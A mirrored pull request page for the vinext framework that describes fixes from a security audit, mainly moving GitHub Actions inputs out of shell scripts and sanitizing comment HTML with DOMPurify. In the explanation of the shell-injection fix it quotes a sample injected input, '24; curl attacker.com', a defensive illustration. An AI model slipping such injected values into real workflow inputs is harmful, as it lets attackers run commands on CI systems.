mirror of
https://github.com/cloudflare/vinext.git
synced 2026-05-09 08:25:34 +02:00
Labels
No labels
enhancement
enhancement
good first issue
help wanted
nextjs-tracking
nextjs-tracking
pull-request
No milestone
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
starred/vinext#820
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
📋 Pull Request Information
Original PR: https://github.com/cloudflare/vinext/pull/757
Author: @LukePercy
Created: 4/2/2026
Status: ❌ Closed
Base:
main← Head:fix/security-audit-741📝 Commits (1)
91adcaffix: security audit findings from issue #741📊 Changes
10 files changed (+83 additions, -35 deletions)
View changed files
📝
.github/workflows/nextjs-tracker.yml(+8 -3)📝
.github/workflows/publish.yml(+3 -1)📝
examples/hackernews/components/comment.jsx(+2 -1)📝
examples/hackernews/package.json(+26 -24)📝
examples/hackernews/tsconfig.json(+11 -4)📝
packages/vinext/src/shims/head.ts(+3 -1)📝
packages/vinext/src/shims/script.tsx(+5 -0)📝
pnpm-lock.yaml(+22 -0)📝
pnpm-workspace.yaml(+2 -0)📝
tests/vite-hmr-websocket.test.ts(+1 -1)📄 Description
Closes #741
Addresses all findings from the static security scan. Each change is described below with the reasoning and any assumptions made.
🔴 Critical: gitleaks false positive in test file
File:
tests/vite-hmr-websocket.test.ts:32Change: Added
// gitleaks:allowinline comment.Reasoning: The value
dGhlIHNhbXBsZSBub25jZQ==is the RFC 6455 example WebSocket handshake nonce ("the sample nonce"), hardcoded in the WebSocket spec itself. It is not a credential. Thegitleaks:allowdirective suppresses the scanner without altering test behavior.Assumption: This is a well-known public value from the spec, not a real secret. No rotation needed.
🟠 High: GitHub Actions shell injection (4 locations)
Files:
.github/workflows/publish.yml:47,.github/workflows/nextjs-tracker.yml:42,73,137Change: Moved
${{ github.event.inputs.* }}context expressions out ofrun:shell scripts and intoenv:blocks, then referenced them as shell variables ($VAR).Reasoning: GitHub Actions expressions interpolated directly into
run:steps are evaluated before the shell sees the script, meaning a malicious input value (e.g. a craftedsince_hourslike24; curl attacker.com) can inject arbitrary shell commands. Moving values intoenv:passes them as environment variables, which the shell treats as data — not code.Assumption: All four inputs are
workflow_dispatchinputs, so they require a GitHub account with write access to trigger. The risk is lower than forpull_requestevent data, but the fix is cheap and correct practice regardless. Theinputs.bumpvalue is also constrained to achoicetype (patch/minor/major), so it had minimal practical exploitability, but the fix is still the right pattern.🟠 High:
innerHTMLin script shimFile:
packages/vinext/src/shims/script.tsx:159Change: Added a security comment; no behavior change.
Reasoning: The
el.innerHTML = dangerouslySetInnerHTML.__htmlpath replicates the Next.js<Script>API exactly. The prop namedangerouslySetInnerHTMLis React's own convention for signalling developer awareness of the XSS risk. This path is only reached when the developer explicitly passes that prop — it is never populated from user input by the framework. Changing the behavior would break compatibility with Next.js.Assumption: User-supplied data never flows into
dangerouslySetInnerHTML.__htmlon the<Script>component. This is the developer's responsibility, consistent with how React itself handles the same prop on all elements.🟡 Medium:
dangerouslySetInnerHTMLin hackernews exampleFile:
examples/hackernews/components/comment.jsx:29Change: Wrapped the HN API
textvalue inDOMPurify.sanitize()before passing todangerouslySetInnerHTML. Addeddompurifytopackage.jsonand to the workspace catalog.Reasoning: The HN API returns comment text as HTML (links, italics, etc.). The original code rendered it raw. Although HN is generally trusted, rendering unsanitized third-party HTML is a stored XSS vector — a compromised or malicious HN post could inject scripts into pages served by this example. DOMPurify strips dangerous tags and attributes while preserving the safe formatting HTML the API returns.
Assumption: DOMPurify's default config (strip
<script>,javascript:hrefs, event handlers, etc.) is appropriate here. The HN API only uses basic formatting tags so no content is lost in practice.🟡 Medium: non-literal RegExp (6 locations)
Files:
shims/head.ts,shims/image-config.ts,config/config-matchers.ts(×2),routing/file-matcher.ts(×2)Change: Added a clarifying comment to
escapeInlineContentinhead.ts; no behavior changes elsewhere.Reasoning: All six
new RegExp(variable)usages were reviewed:head.ts:276—tagis always"script"or"style", guarded byRAW_CONTENT_TAGS.has(tag)at every call site.image-config.ts:58— builds a pattern from developer-suppliedremotePatternsconfig, not request-time user input.config-matchers.ts:341,974— both are already guarded bysafeRegExp(), which runsisSafeRegex()to reject ReDoS-vulnerable patterns before compiling.file-matcher.ts:51,54— built frompageExtensionsconfig values, escaped withescapeRegex()before interpolation.No user-controlled input reaches any of these paths at request time.
Deprecation cleanup (bonus, unrelated to security)
File:
examples/hackernews/tsconfig.jsonbaseUrl: "."— deprecated in TypeScript 6, will be removed in TS 7. All imports in this package use relative paths sobaseUrlwas doing nothing.noEmit: true— prevents TypeScript from trying to write compiled output over the existing.jsfiles inlib/, which caused a compiler error.@cloudflare/workers-typestodevDependencies— it was referenced intsconfig.jsontypesbut missing frompackage.json, causing a type resolution error.🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.